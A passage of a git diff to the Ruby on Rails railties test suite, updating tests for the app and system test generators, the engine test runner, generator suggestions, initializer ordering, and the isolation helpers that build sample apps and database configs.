+    generator.stub(:apply, apply_stub) do
+      run_generator_instance
     end
+
+    assert_equal url, applied
   end
 
   def test_skip_git
     run_generator [destination_root, "--skip-git", "--full"]
     assert_no_file(".gitignore")
+    assert_no_file(".gitattributes")
     assert_no_directory(".git")
   end
 
@@ -118,7 +214,287 @@ def test_skip_keeps
     assert_file ".gitignore" do |content|
       assert_no_match(/\.keep/, content)
     end
-
+    assert_directory("app/assets/images")
     assert_no_file("app/models/concerns/.keep")
   end
+
+  def test_default_frameworks_are_required_when_others_are_removed
+    run_generator [
+      destination_root,
+      "--skip-active-record",
+      "--skip-active-storage",
+      "--skip-action-mailer",
+      "--skip-action-mailbox",
+      "--skip-action-text",
+      "--skip-action-cable"
+    ]
+
+    assert_file "#{application_path}/config/application.rb", /^require\s+["']rails["']/
+    assert_file "#{application_path}/config/application.rb", /^require\s+["']active_model\/railtie["']/
+    assert_file "#{application_path}/config/application.rb", /^require\s+["']active_job\/railtie["']/
+    assert_file "#{application_path}/config/application.rb", /^# require\s+["']active_record\/railtie["']/
+    assert_file "#{application_path}/config/application.rb", /^# require\s+["']active_storage\/engine["']/
+    assert_file "#{application_path}/config/application.rb", /^require\s+["']action_controller\/railtie["']/
+    assert_file "#{application_path}/config/application.rb", /^# require\s+["']action_mailer\/railtie["']/
+    unless generator_class.name == "Rails::Generators::PluginGenerator"
+      assert_file "#{application_path}/config/application.rb", /^# require\s+["']action_mailbox\/engine["']/
+      assert_file "#{application_path}/config/application.rb", /^# require\s+["']action_text\/engine["']/
+    end
+    assert_file "#{application_path}/config/application.rb", /^require\s+["']action_view\/railtie["']/
+    assert_file "#{application_path}/config/application.rb", /^# require\s+["']action_cable\/engine["']/
+    assert_file "#{application_path}/config/application.rb", /^require\s+["']rails\/test_unit\/railtie["']/
+  end
+
+  def test_generator_if_skip_active_record_is_given
+    run_generator [destination_root, "--skip-active-record"]
+    assert_no_directory "#{application_path}/db/"
+    assert_no_file "#{application_path}/config/database.yml"
+    assert_no_file "#{application_path}/app/models/application_record.rb"
+
+    assert_file "#{application_path}/config/application.rb" do |content|
+      assert_match(/#\s+require\s+["']active_record\/railtie["']/, content)
+      assert_match(/#\s+require\s+["']active_storage\/engine["']/, content)
+      assert_match(/#\s+require\s+["']action_mailbox\/engine["']/, content)
+      assert_match(/#\s+require\s+["']action_text\/engine["']/, content)
+    end
+
+    assert_file "test/test_helper.rb" do |helper_content|
+      assert_no_match(/fixtures :all/, helper_content)
+    end
+    assert_file "#{application_path}/bin/setup" do |setup_content|
+      assert_no_match(/db:prepare/, setup_content)
+    end
+
+    assert_file "#{application_path}/config/environments/development.rb" do |content|
+      assert_no_match(/config\.active_storage/, content)
+    end
+
+    assert_file "#{application_path}/config/environments/production.rb" do |content|
+      assert_no_match(/config\.active_storage/, content)
+    end
+
+    assert_file "#{application_path}/config/environments/test.rb" do |content|
+      assert_no_match(/config\.active_storage/, content)
+    end
+
+    assert_no_file "#{application_path}/config/storage.yml"
+
+    assert_gitattributes_does_not_have_schema_file
+
+    assert_file "Gemfile" do |contents|
+      assert_no_match(/solid_cache/, contents)
+      assert_no_match(/sqlite/, contents)
+    end
+  end
+
+  def test_generator_if_skip_active_storage_is_given
+    run_generator [destination_root, "--skip-active-storage"]
+
+    assert_frameworks_are_not_required_when_active_storage_is_skipped
+
+    assert_file "#{application_path}/config/environments/development.rb" do |content|
+      assert_no_match(/config\.active_storage/, content)
+    end
+
+    assert_file "#{application_path}/config/environments/production.rb" do |content|
+      assert_no_match(/config\.active_storage/, content)
+    end
+
+    assert_file "#{application_path}/config/environments/test.rb" do |content|
+      assert_no_match(/config\.active_storage/, content)
+    end
+
+    assert_no_file "#{application_path}/config/storage.yml"
+
+    assert_gems_when_active_storage_is_skipped
+    assert_dockerfile_when_active_storage_is_skipped
+  end
+
+  def test_generator_does_not_create_storage_dir_if_skip_active_storage_is_given_and_not_using_sqlite
+    run_generator [destination_root, "--skip-active-storage", "--database=postgresql"]
+
+    assert_no_directory "#{application_path}/storage"
+    assert_no_directory "#{application_path}/tmp/storage"
+  end
+
+  def test_generator_if_skip_action_mailer_is_given
+    run_generator [destination_root, "--skip-action-mailer"]
+    assert_file "#{application_path}/config/application.rb", /#\s+require\s+["']action_mailer\/railtie["']/
+    assert_file "#{application_path}/config/environments/development.rb" do |content|
+      assert_no_match(/config\.action_mailer/, content)
+    end
+    assert_file "#{application_path}/config/environments/test.rb" do |content|
+      assert_no_match(/config\.action_mailer/, content)
+    end
+    assert_file "#{application_path}/config/environments/production.rb" do |content|
+      assert_no_match(/config\.action_mailer/, content)
+    end
+    assert_no_directory "#{application_path}/app/mailers"
+    assert_no_directory "#{application_path}/test/mailers"
+    assert_no_file "#{application_path}/app/views/layouts/mailer.html.erb"
+  end
+
+  def test_generator_if_skip_action_cable_is_given
+    run_generator [destination_root, "--skip-action-cable", "--webpack"]
+    assert_file "#{application_path}/config/application.rb", /#\s+require\s+["']action_cable\/engine["']/
+    assert_no_file "#{application_path}/config/cable.yml"
+    assert_file "Gemfile" do |content|
+      assert_no_match(/"redis"/, content)
+    end
+  end
+
+  def test_generator_when_asset_pipeline_is_not_used
+    run_generator [destination_root, "--skip-asset-pipeline"]
+
+    assert_no_file "#{application_path}/config/initializers/assets.rb"
+
+    assert_file "Gemfile" do |content|
+      assert_no_match(/propshaft/, content)
+    end
+  end
+
+  def test_dev_option
+    run_generator_using_prerelease [destination_root, "--dev"]
+    rails_path = File.expand_path("../../..", Rails.root)
+    assert_file "Gemfile", %r{^gem ["']rails["'], path: ["']#{Regexp.escape rails_path}["']$}
+  end
+
+  def test_edge_option
+    Rails.stub(:gem_version, Gem::Version.new("2.1.0")) do
+      run_generator_using_prerelease [destination_root, "--edge"]
+    end
+    assert_file "Gemfile", %r{^gem ["']rails["'], github: ["']rails/rails["'], branch: ["']2-1-stable["']$}
+  end
+
+  def test_edge_option_during_alpha
+    Rails.stub(:gem_version, Gem::Version.new("2.1.0.alpha")) do
+      run_generator_using_prerelease [destination_root, "--edge"]
+    end
+    assert_file "Gemfile", %r{^gem ["']rails["'], github: ["']rails/rails["'], branch: ["']main["']$}
+  end
+
+  def test_main_option
+    run_generator_using_prerelease [destination_root, "--main"]
+    assert_file "Gemfile", %r{^gem ["']rails["'], github: ["']rails/rails["'], branch: ["']main["']$}
+  end
+
+  def test_master_option
+    run_generator_using_prerelease [destination_root, "--master"]
+    assert_file "Gemfile", %r{^gem ["']rails["'], github: ["']rails/rails["'], branch: ["']main["']$}
+  end
+
+  def test_target_rails_prerelease_with_relative_app_path
+    run_generator_using_prerelease ["myproject", "--main"]
+    assert_file "myproject/Gemfile", %r{^gem ["']rails["'], github: ["']rails/rails["'], branch: ["']main["']$}
+  end
+
+  def test_generated_files_have_no_rubocop_warnings
+    run_generator
+
+    quietly do
+      Dir.chdir(destination_root) do
+        output = `./bin/rubocop`
+
+        assert_predicate $?, :success?, "bin/rubocop did not exit successfully:\n#{output}"
+      end
+    end
+  end
+
+  private
+    def assert_load_defaults
+    end
+
+    def assert_gem_for_active_storage
+    end
+
+    def assert_frameworks_are_not_required_when_active_storage_is_skipped
+      assert_file "#{application_path}/config/application.rb", /#\s+require\s+["']active_storage\/engine["']/
+    end
+
+    def assert_gems_when_active_storage_is_skipped
+    end
+
+    def assert_dockerfile_when_active_storage_is_skipped
+    end
+
+    def assert_gitattributes_does_not_have_schema_file
+    end
+
+    def fixtures_root
+      File.expand_path("../fixtures", __dir__)
+    end
+
+    def run_generator_instance
+      @bundle_commands = []
+      @bundle_command_stub ||= -> (command, *) { @bundle_commands << command }
+
+      @rails_commands = []
+      @rails_command_stub ||= -> (command, *_) { @rails_commands << command }
+
+      generator.stub(:bundle_command, @bundle_command_stub) do
+        generator.stub(:rails_command, @rails_command_stub) do
+          super
+        end
+      end
+    end
+
+    def run_generator_using_prerelease(args)
+      option_args, positional_args = args.partition { |arg| arg.start_with?("--") }
+      project_path = File.expand_path(positional_args.first, destination_root)
+      expected_args = [project_path, *positional_args.drop(1), *option_args]
+
+      generator(positional_args, option_args)
+
+      prerelease_commands = []
+      prerelease_command_rails_gems = []
+      rails_gem_pattern = /^gem ["']rails["'], .+/
+
+      @bundle_command_stub = -> (command, *) do
+        @bundle_commands << command
+
+        if command.start_with?("install", "exec rails")
+          prerelease_commands << command
+          assert_file File.expand_path("Gemfile", project_path) do |gemfile|
+            prerelease_command_rails_gems << gemfile[rails_gem_pattern]
+          end
+        end
+      end
+
+      # run target_rails_prerelease on exit to mimic re-running generator
+      generator.stub :exit, generator.method(:target_rails_prerelease) do
+        run_generator_instance
+      end
+
+      assert_file File.expand_path("Gemfile", project_path) do |gemfile|
+        assert_match %r/^install/, prerelease_commands[0]
+        assert_equal gemfile[rails_gem_pattern], prerelease_command_rails_gems[0]
+
+        assert_match %r/^exec rails (?:plugin )?new #{Regexp.escape Shellwords.join(expected_args)}/, prerelease_commands[1]
+        assert_equal gemfile[rails_gem_pattern], prerelease_command_rails_gems[1]
+      end
+    end
+
+    def assert_option(option)
+      assert generator.options[option], "Expected generator option #{option.inspect} to be truthy."
+    end
+
+    def assert_not_option(option)
+      assert_not generator.options[option], "Expected generator option #{option.inspect} to be falsy."
+    end
+
+    def assert_gem(name, constraint = nil)
+      constraint_pattern =
+        if constraint.is_a?(String)
+          /, #{Regexp.escape constraint}/
+        elsif constraint
+          /, #{constraint}/
+        end
+      assert_file "Gemfile", %r/^\s*gem ["']#{name}["']#{constraint_pattern}/
+    end
+
+    def assert_no_gem(name)
+      assert_file "Gemfile" do |content|
+        assert_no_match %r/gem ["']#{name}["']/, content
+      end
+    end
 end
diff --git a/railties/test/generators/system_test_generator_test.rb b/railties/test/generators/system_test_generator_test.rb
new file mode 100644
index 0000000000000..5742ba444d8ba
--- /dev/null
+++ b/railties/test/generators/system_test_generator_test.rb
@@ -0,0 +1,33 @@
+# frozen_string_literal: true
+
+require "generators/generators_test_helper"
+require "rails/generators/rails/system_test/system_test_generator"
+
+class SystemTestGeneratorTest < Rails::Generators::TestCase
+  include GeneratorsTestHelper
+  arguments %w(user)
+
+  def test_system_test_skeleton_is_created
+    run_generator
+    assert_file "test/system/users_test.rb", /class UsersTest < ApplicationSystemTestCase/
+  end
+
+  def test_namespaced_system_test_skeleton_is_created
+    run_generator %w(admin/user)
+    assert_file "test/system/admin/users_test.rb", /class Admin::UsersTest < ApplicationSystemTestCase/
+  end
+
+  def test_test_name_is_pluralized
+    run_generator %w(user)
+
+    assert_no_file "test/system/user_test.rb"
+    assert_file "test/system/users_test.rb"
+  end
+
+  def test_test_suffix_is_not_duplicated
+    run_generator %w(users_test)
+
+    assert_no_file "test/system/users_test_test.rb"
+    assert_file "test/system/users_test.rb"
+  end
+end
diff --git a/railties/test/generators/task_generator_test.rb b/railties/test/generators/task_generator_test.rb
index 2285534bb9b68..5f162919d812e 100644
--- a/railties/test/generators/task_generator_test.rb
+++ b/railties/test/generators/task_generator_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "generators/generators_test_helper"
 require "rails/generators/rails/task/task_generator"
 
diff --git a/railties/test/generators/test_runner_in_engine_test.rb b/railties/test/generators/test_runner_in_engine_test.rb
index 4b5fb3ba3fec7..ea70e60d9909c 100644
--- a/railties/test/generators/test_runner_in_engine_test.rb
+++ b/railties/test/generators/test_runner_in_engine_test.rb
@@ -1,11 +1,17 @@
+# frozen_string_literal: true
+
 require "generators/plugin_test_helper"
+require "env_helpers"
+require "plugin_helpers"
 
 class TestRunnerInEngineTest < ActiveSupport::TestCase
   include PluginTestHelper
+  include EnvHelpers
+  include PluginHelpers
 
   def setup
     @destination_root = Dir.mktmpdir("bukkits")
-    Dir.chdir(@destination_root) { `bundle exec rails plugin new bukkits --full --skip-bundle` }
+    generate_plugin("#{@destination_root}/bukkits", "--full")
     plugin_file "test/dummy/db/schema.rb", ""
   end
 
@@ -13,11 +19,15 @@ def teardown
     FileUtils.rm_rf(@destination_root)
   end
 
+  def test_run_default
+    assert_match "0 failures, 0 errors", run_test_command
+  end
+
   def test_rerun_snippet_is_relative_path
     create_test_file "post", pass: false
 
     output = run_test_command("test/post_test.rb")
-    expect = %r{Running:\n\nPostTest\nF\n\nFailure:\nPostTest#test_truth \[[^\]]+test/post_test.rb:6\]:\nwups!\n\nbin/rails test test/post_test.rb:4}
+    expect = %r{Running:\n\nPostTest\nF\n\nFailure:\nPostTest#test_truth \[.*?test/post_test\.rb:6\]:\nwups!\n\nbin/rails test test/post_test\.rb:4}
     assert_match expect, output
   end
 
@@ -26,7 +36,9 @@ def plugin_path
       "#{@destination_root}/bukkits"
     end
 
-    def run_test_command(arguments)
-      Dir.chdir(plugin_path) { `bin/rails test #{arguments}` }
+    def run_test_command(arguments = "")
+      Dir.chdir(plugin_path) do
+        Bundler.with_unbundled_env { `bin/rails test #{arguments}` }
+      end
     end
 end
diff --git a/railties/test/generators_test.rb b/railties/test/generators_test.rb
index 68ba43539329c..3d61fd8931329 100644
--- a/railties/test/generators_test.rb
+++ b/railties/test/generators_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "generators/generators_test_helper"
 require "rails/generators/rails/model/model_generator"
 require "rails/generators/test_unit/model/model_generator"
@@ -23,21 +25,41 @@ def test_simple_invoke
 
   def test_invoke_when_generator_is_not_found
     name = :unknown
-    output = capture(:stdout) { Rails::Generators.invoke name }
-    assert_match "Could not find generator '#{name}'", output
-    assert_match "`rails generate --help`", output
+    output = capture(:stdout) {
+      assert_raises SystemExit do
+        Rails::Generators.invoke name
+      end
+    }
+    assert_match "Could not find generator '#{name}'.", output
+    assert_match "`bin/rails generate --help`", output
+    assert_no_match "Did you mean", output
   end
 
   def test_generator_suggestions
     name = :migrationz
-    output = capture(:stdout) { Rails::Generators.invoke name }
-    assert_match "Maybe you meant 'migration'", output
+    output = capture(:stdout) {
+      assert_raises SystemExit do
+        Rails::Generators.invoke name
+      end
+    }
+    assert_match "Did you mean?  migration", output
   end
 
-  def test_generator_multiple_suggestions
+  def test_generator_suggestions_except_en_locale
+    orig_available_locales = I18n.available_locales
+    orig_default_locale = I18n.default_locale
+    I18n.available_locales = :ja
+    I18n.default_locale = :ja
     name = :tas
-    output = capture(:stdout) { Rails::Generators.invoke name }
-    assert_match "Maybe you meant 'task', 'job' or", output
+    output = capture(:stdout) {
+      assert_raises SystemExit do
+        Rails::Generators.invoke name
+      end
+    }
+    assert_match "Did you mean?  task", output
+  ensure
+    I18n.available_locales = orig_available_locales
+    I18n.default_locale = orig_default_locale
   end
 
   def test_help_when_a_generator_with_required_arguments_is_invoked_without_arguments
@@ -49,7 +71,7 @@ def test_should_give_higher_preference_to_rails_generators
     assert File.exist?(File.join(@path, "generators", "model_generator.rb"))
     assert_called_with(Rails::Generators::ModelGenerator, :start, [["Account"], {}]) do
       warnings = capture(:stderr) { Rails::Generators.invoke :model, ["Account"] }
-      assert warnings.empty?
+      assert_empty warnings
     end
   end
 
@@ -124,7 +146,7 @@ def test_rails_generators_help_with_builtin_information
 
   def test_rails_generators_help_does_not_include_app_nor_plugin_new
     output = capture(:stdout) { Rails::Generators.help }
-    assert_no_match(/app/, output)
+    assert_no_match(/app\W/, output)
     assert_no_match(/[^:]plugin/, output)
   end
 
@@ -142,12 +164,12 @@ def test_rails_generators_does_not_show_active_record_hooks
 
   def test_default_banner_should_show_generator_namespace
     klass = Rails::Generators.find_by_namespace(:foobar)
-    assert_match(/^rails generate foobar:foobar/, klass.banner)
+    assert_match(/^bin\/rails generate foobar:foobar/, klass.banner)
   end
 
   def test_default_banner_should_not_show_rails_generator_namespace
     klass = Rails::Generators.find_by_namespace(:model)
-    assert_match(/^rails generate model/, klass.banner)
+    assert_match(/^bin\/rails generate model/, klass.banner)
   end
 
   def test_no_color_sets_proper_shell
@@ -159,18 +181,18 @@ def test_no_color_sets_proper_shell
 
   def test_fallbacks_for_generators_on_find_by_namespace
     Rails::Generators.fallbacks[:remarkable] = :test_unit
-    klass = Rails::Generators.find_by_namespace(:plugin, :remarkable)
+    klass = Rails::Generators.find_by_namespace(:integration, :remarkable)
     assert klass
-    assert_equal "test_unit:plugin", klass.namespace
+    assert_equal "test_unit:integration", klass.namespace
   ensure
     Rails::Generators.fallbacks.delete(:remarkable)
   end
 
   def test_fallbacks_for_generators_on_find_by_namespace_with_context
     Rails::Generators.fallbacks[:remarkable] = :test_unit
-    klass = Rails::Generators.find_by_namespace(:remarkable, :rails, :plugin)
+    klass = Rails::Generators.find_by_namespace(:remarkable, :rails, :integration)
     assert klass
-    assert_equal "test_unit:plugin", klass.namespace
+    assert_equal "test_unit:integration", klass.namespace
   ensure
     Rails::Generators.fallbacks.delete(:remarkable)
   end
@@ -200,7 +222,7 @@ def test_developer_options_are_overwritten_by_user_options
 
     self.class.class_eval(<<-end_eval, __FILE__, __LINE__ + 1)
       class WithOptionsGenerator < Rails::Generators::Base
-        class_option :generate, :default => true
+        class_option :generate, default: true, type: :boolean
       end
     end_eval
 
@@ -233,7 +255,7 @@ def test_source_paths_for_not_namespaced_generators
   end
 
   def test_usage_with_embedded_ruby
-    require File.expand_path("fixtures/lib/generators/usage_template/usage_template_generator", File.dirname(__FILE__))
+    require_relative "fixtures/lib/generators/usage_template/usage_template_generator"
     output = capture(:stdout) { Rails::Generators.invoke :usage_template, ["--help"] }
     assert_match(/:: 2 ::/, output)
   end
diff --git a/railties/test/initializable_test.rb b/railties/test/initializable_test.rb
index 4b67c91cc50d1..048414bb4ebe9 100644
--- a/railties/test/initializable_test.rb
+++ b/railties/test/initializable_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 require "rails/initializable"
 
@@ -142,6 +144,44 @@ def self.initializers
     end
   end
 
+  module Duplicate
+    class PluginA
+      include Rails::Initializable
+
+      initializer "plugin_a.startup" do
+        $arr << 1
+      end
+
+      initializer "plugin_a.terminate" do
+        $arr << 4
+      end
+    end
+
+    class PluginB
+      include Rails::Initializable
+
+      initializer "plugin_b.startup", after: "plugin_a.startup" do
+        $arr << 2
+      end
+
+      initializer "plugin_b.terminate", before: "plugin_a.terminate" do
+        $arr << 3
+      end
+    end
+
+    class Application
+      include Rails::Initializable
+
+      def self.initializers
+        @initializers ||= (PluginA.initializers + PluginB.initializers + PluginB.initializers)
+      end
+
+      initializer "root" do
+        $arr << 5
+      end
+    end
+  end
+
   class Basic < ActiveSupport::TestCase
     include ActiveSupport::Testing::Isolation
 
@@ -198,6 +238,12 @@ class BeforeAfter < ActiveSupport::TestCase
       Interdependent::Application.new.run_initializers
       assert_equal [1, 2, 3, 4], $arr
     end
+
+    test "handles duplicate initializers" do
+      $arr = []
+      Duplicate::Application.new.run_initializers
+      assert_equal [1, 2, 2, 3, 3, 4, 5], $arr
+    end
   end
 
   class InstanceTest < ActiveSupport::TestCase
@@ -231,4 +277,63 @@ class OverriddenInitializerTest < ActiveSupport::TestCase
       assert_equal [1, 2, 3, 4], $arr
     end
   end
+
+  class CollectionTest < ActiveSupport::TestCase
+    test "delegates missing to collection array" do
+      initializable = Class.new do
+        include Rails::Initializable
+      end
+
+      Array.public_instance_methods.each do |method_name|
+        assert(
+          initializable.initializers.respond_to?(method_name),
+          "Expected Initializable::Collection to respond to #{method_name}, but does not.",
+        )
+      end
+    end
+
+    test "concat" do
+      one = collection(:a, :b)
+      two = collection(:c, :d)
+      initializers = one.initializers.concat(two.initializers)
+      initializer_names = initializers.tsort_each.map(&:name)
+
+      assert_equal [:a, :b, :c, :d], initializer_names
+    end
+
+    test "push" do
+      one = collection(:a, :b, :c)
+      two = collection(:d)
+      initializers = one.initializers.push(two.initializers.first)
+      initializer_names = initializers.tsort_each.map(&:name)
+
+      assert_equal [:a, :b, :c, :d], initializer_names
+    end
+
+    test "append" do
+      one = collection(:a)
+      two = collection(:b, :c)
+      initializers = one.initializers.append(two.initializers.first)
+      initializer_names = initializers.tsort_each.map(&:name)
+
+      assert_equal [:a, :b], initializer_names
+    end
+
+    test "<<" do
+      one = collection(:a, :b)
+      two = collection(:c)
+      initializers = (one.initializers << two.initializers.first)
+      initializer_names = initializers.tsort_each.map(&:name)
+
+      assert_equal [:a, :b, :c], initializer_names
+    end
+
+    private
+      def collection(*names)
+        Class.new do
+          include Rails::Initializable
+          names.each { |name| initializer(name) { } }
+        end
+      end
+  end
 end
diff --git a/railties/test/isolation/abstract_unit.rb b/railties/test/isolation/abstract_unit.rb
index 1902eac8621b3..a8824bfc3e26b 100644
--- a/railties/test/isolation/abstract_unit.rb
+++ b/railties/test/isolation/abstract_unit.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 # Note:
 # It is important to keep this file as light as possible
 # the goal for tests that require this is to test booting up
@@ -7,14 +9,23 @@
 # It is also good to know what is the bare minimum to get
 # Rails booted up.
 require "fileutils"
+require "shellwords"
 
 require "bundler/setup" unless defined?(Bundler)
 require "active_support"
 require "active_support/testing/autorun"
 require "active_support/testing/stream"
+require "active_support/testing/method_call_assertions"
 require "active_support/test_case"
+require "minitest/retry"
+
+if ENV["BUILDKITE"]
+  Minitest::Retry.use!(verbose: false, retry_count: 1)
+end
+
+require_relative "../../../tools/test_common"
 
-RAILS_FRAMEWORK_ROOT = File.expand_path("#{File.dirname(__FILE__)}/../../..")
+RAILS_FRAMEWORK_ROOT = File.expand_path("../../..", __dir__)
 
 # These files do not require any others and are needed
 # to run the tests
@@ -26,16 +37,25 @@
 module TestHelpers
   module Paths
     def app_template_path
-      File.join Dir.tmpdir, "app_template"
+      File.join RAILS_FRAMEWORK_ROOT, "tmp/templates/app_template"
+    end
+
+    def bootsnap_cache_path
+      File.join RAILS_FRAMEWORK_ROOT, "tmp/templates/bootsnap"
     end
 
     def tmp_path(*args)
-      @tmp_path ||= File.realpath(Dir.mktmpdir)
+      @tmp_path ||= File.realpath(Dir.mktmpdir(nil, File.join(RAILS_FRAMEWORK_ROOT, "tmp")))
       File.join(@tmp_path, *args)
     end
 
     def app_path(*args)
-      tmp_path(*%w[app] + args)
+      path = tmp_path(*%w[app] + args)
+      if block_given?
+        yield path
+      else
+        path
+      end
     end
 
     def framework_path
@@ -53,10 +73,7 @@ def app(env = "production")
       @app ||= begin
         ENV["RAILS_ENV"] = env
 
-        # FIXME: shush Sass warning spam, not relevant to testing Railties
-        Kernel.silence_warnings do
-          require "#{app_path}/config/environment"
-        end
+        require "#{app_path}/config/environment"
 
         Rails.application
       end
@@ -65,7 +82,7 @@ def app(env = "production")
     end
 
     def extract_body(response)
-      "".tap do |body|
+      (+"").tap do |body|
         response[2].each { |chunk| body << chunk }
       end
     end
@@ -80,32 +97,19 @@ def assert_welcome(resp)
       assert_equal 200, resp[0]
       assert_match "text/html", resp[1]["Content-Type"]
       assert_match "charset=utf-8", resp[1]["Content-Type"]
-      assert extract_body(resp).match(/Yay! You.*re on Rails!/)
-    end
-
-    def assert_success(resp)
-      assert_equal 202, resp[0]
-    end
-
-    def assert_missing(resp)
-      assert_equal 404, resp[0]
-    end
-
-    def assert_header(key, value, resp)
-      assert_equal value, resp[1][key.to_s]
-    end
-
-    def assert_body(expected, resp)
-      assert_equal expected, extract_body(resp)
+      assert extract_body(resp).match(/Rails version:/)
     end
   end
 
   module Generation
     # Build an application by invoking the generator and going through the whole stack.
     def build_app(options = {})
+      @prev_rails_app_class = Rails.app_class
+      @prev_rails_application = Rails.application
+      Rails.app_class = Rails.application = nil
+
       @prev_rails_env = ENV["RAILS_ENV"]
       ENV["RAILS_ENV"] = "development"
-      ENV["SECRET_KEY_BASE"] ||= SecureRandom.hex(16)
 
       FileUtils.rm_rf(app_path)
       FileUtils.cp_r(app_template_path, app_path)
@@ -117,43 +121,136 @@ def build_app(options = {})
         end
       end
 
-      routes = File.read("#{app_path}/config/routes.rb")
-      if routes =~ /(\n\s*end\s*)\Z/
-        File.open("#{app_path}/config/routes.rb", "w") do |f|
-          f.puts $` + "\nActiveSupport::Deprecation.silence { match ':controller(/:action(/:id))(.:format)', via: :all }\n" + $1
+      File.open("#{app_path}/config/database.yml", "w") do |f|
+        if options[:multi_db]
+          f.puts multi_db_database_configs
+        else
+          f.puts default_database_configs
         end
       end
 
-      File.open("#{app_path}/config/database.yml", "w") do |f|
-        f.puts <<-YAML
+      add_to_config <<-RUBY
+        config.hosts << proc { true }
+        config.eager_load = false
+        config.session_store :cookie_store, key: "_myapp_session"
+        config.cache_store = :mem_cache_store
+        config.active_support.deprecation = :log
+        config.action_controller.allow_forgery_protection = false
+      RUBY
+
+      add_to_env_config :development, "config.action_view.annotate_rendered_view_with_filenames = false"
+
+      remove_from_env_config("development", "config.generators.apply_rubocop_autocorrect_after_generate!")
+      add_to_env_config :production, "config.log_level = :error"
+    end
+
+    def reset_environment_configs
+      Dir["#{app_path}/config/environments/*.rb"].each do |path|
+        File.write(path, "")
+      end
+    end
+
+    def teardown_app
+      ENV["RAILS_ENV"] = @prev_rails_env if @prev_rails_env
+      Rails.app_class = @prev_rails_app_class if @prev_rails_app_class
+      Rails.application = @prev_rails_application if @prev_rails_application
+      FileUtils.rm_rf(tmp_path)
+    end
+
+    def default_database_configs
+      <<-YAML
         default: &default
           adapter: sqlite3
-          pool: 5
+          max_connections: 5
           timeout: 5000
         development:
           <<: *default
-          database: db/development.sqlite3
+          database: storage/development.sqlite3
         test:
           <<: *default
-          database: db/test.sqlite3
+          database: storage/test.sqlite3
         production:
           <<: *default
-          database: db/production.sqlite3
-        YAML
-      end
+          database: storage/production.sqlite3
+      YAML
+    end
 
-      add_to_config <<-RUBY
-        config.eager_load = false
-        config.session_store :cookie_store, key: "_myapp_session"
-        config.active_support.deprecation = :log
-        config.active_support.test_order = :random
-        config.action_controller.allow_forgery_protection = false
-        config.log_level = :info
-      RUBY
+    def multi_db_database_configs
+      <<-YAML
+        default: &default
+          adapter: sqlite3
+          max_connections: 5
+          timeout: 5000
+          variables:
+            statement_timeout: 1000
+        development:
+          primary:
+            <<: *default
+            database: storage/development.sqlite3
+          primary_readonly:
+            <<: *default
+            database: storage/development.sqlite3
+            replica: true
+          animals:
+            <<: *default
+            database: storage/development_animals.sqlite3
+            migrations_paths: db/animals_migrate
+          animals_readonly:
+            <<: *default
+            database: storage/development_animals.sqlite3
+            migrations_paths: db/animals_migrate
+            replica: true
+        test:
+          primary:
+            <<: *default
+            database: storage/test.sqlite3
+          primary_readonly:
+            <<: *default
+            database: storage/test.sqlite3
+            replica: true
+          animals:
+            <<: *default
+            database: storage/test_animals.sqlite3
+            migrations_paths: db/animals_migrate
+          animals_readonly:
+            <<: *default
+            database: storage/test_animals.sqlite3
+            migrations_paths: db/animals_migrate
+            replica: true
+        production:
+          primary:
+            <<: *default
+            database: storage/production.sqlite3
+          primary_readonly:
+            <<: *default
+            database: storage/production.sqlite3
+            replica: true
+          animals:
+            <<: *default
+            database: storage/production_animals.sqlite3
+            migrations_paths: db/animals_migrate
+          animals_readonly:
+            <<: *default
+            database: storage/production_animals.sqlite3
+            migrations_paths: db/animals_migrate
+            replica: true
+      YAML
     end
 
-    def teardown_app
-      ENV["RAILS_ENV"] = @prev_rails_env if @prev_rails_env
+    def with_unhealthy_database(&block)
+      # The existing schema cache dump will contain ActiveRecord::ConnectionAdapters::SQLite3Adapter objects
+      require "active_record/connection_adapters/sqlite3_adapter"
+
+      # We need to change the `database_version` to match what is expected for MySQL
+      dump_path = File.join(app_path, "db/schema_cache.yml")
+      if File.exist?(dump_path)
+        schema_cache = ActiveRecord::ConnectionAdapters::SchemaCache._load_from(dump_path)
+        schema_cache.instance_variable_set(:@database_version, ActiveRecord::ConnectionAdapters::AbstractAdapter::Version.new("8.8.8"))
+        File.write(dump_path, YAML.dump(schema_cache))
+      end
+
+      # We load the app while pointing at a non-existing MySQL server
+      switch_env("DATABASE_URL", "mysql2://127.0.0.1:1", &block)
     end
 
     # Make a very basic app, without creating the whole directory structure.
@@ -163,13 +260,15 @@ def make_basic_app
       require "action_controller/railtie"
       require "action_view/railtie"
 
-      @app = Class.new(Rails::Application)
+      @app = Class.new(Rails::Application) do
+        def self.name; "RailtiesTestApp"; end
+      end
+      @app.config.hosts << proc { true }
       @app.config.eager_load = false
-      @app.secrets.secret_key_base = "3b7cd727ee24e8444053437c36cc66c4"
       @app.config.session_store :cookie_store, key: "_myapp_session"
       @app.config.active_support.deprecation = :log
-      @app.config.active_support.test_order = :random
-      @app.config.log_level = :info
+      @app.config.log_level = :error
+      @app.config.secret_key_base = "b3c631c314c0bbca50c1b2843150fe33"
 
       yield @app if block_given?
       @app.initialize!
@@ -221,8 +320,8 @@ def engine(name)
       FileUtils.mkdir_p(dir)
 
       app = File.readlines("#{app_path}/config/application.rb")
-      app.insert(2, "$:.unshift(\"#{dir}/lib\")")
-      app.insert(3, "require #{name.inspect}")
+      app.insert(4, "$:.unshift(\"#{dir}/lib\")")
+      app.insert(5, "require #{name.inspect}")
 
       File.open("#{app_path}/config/application.rb", "r+") do |f|
         f.puts app
@@ -233,10 +332,91 @@ def engine(name)
       end
     end
 
-    def script(script)
-      Dir.chdir(app_path) do
-        `#{Gem.ruby} #{app_path}/bin/rails #{script}`
+    # Invoke a bin/rails command inside the app
+    #
+    # allow_failure:: true to return normally if the command exits with
+    #   a non-zero status. By default, this method will raise.
+    # stderr:: true to pass STDERR output straight to the "real" STDERR.
+    #   By default, the STDERR and STDOUT of the process will be
+    #   combined in the returned string.
+    def rails(*args, allow_failure: false, stderr: false)
+      args = args.flatten
+      fork = true
+
+      command = "bin/rails #{Shellwords.join args}#{' 2>&1' unless stderr}"
+
+      # Don't fork if the environment has disabled it
+      fork = false if ENV["NO_FORK"]
+
+      # Don't fork if the runtime isn't able to
+      fork = false if !Process.respond_to?(:fork)
+
+      # Don't fork if we're re-invoking minitest
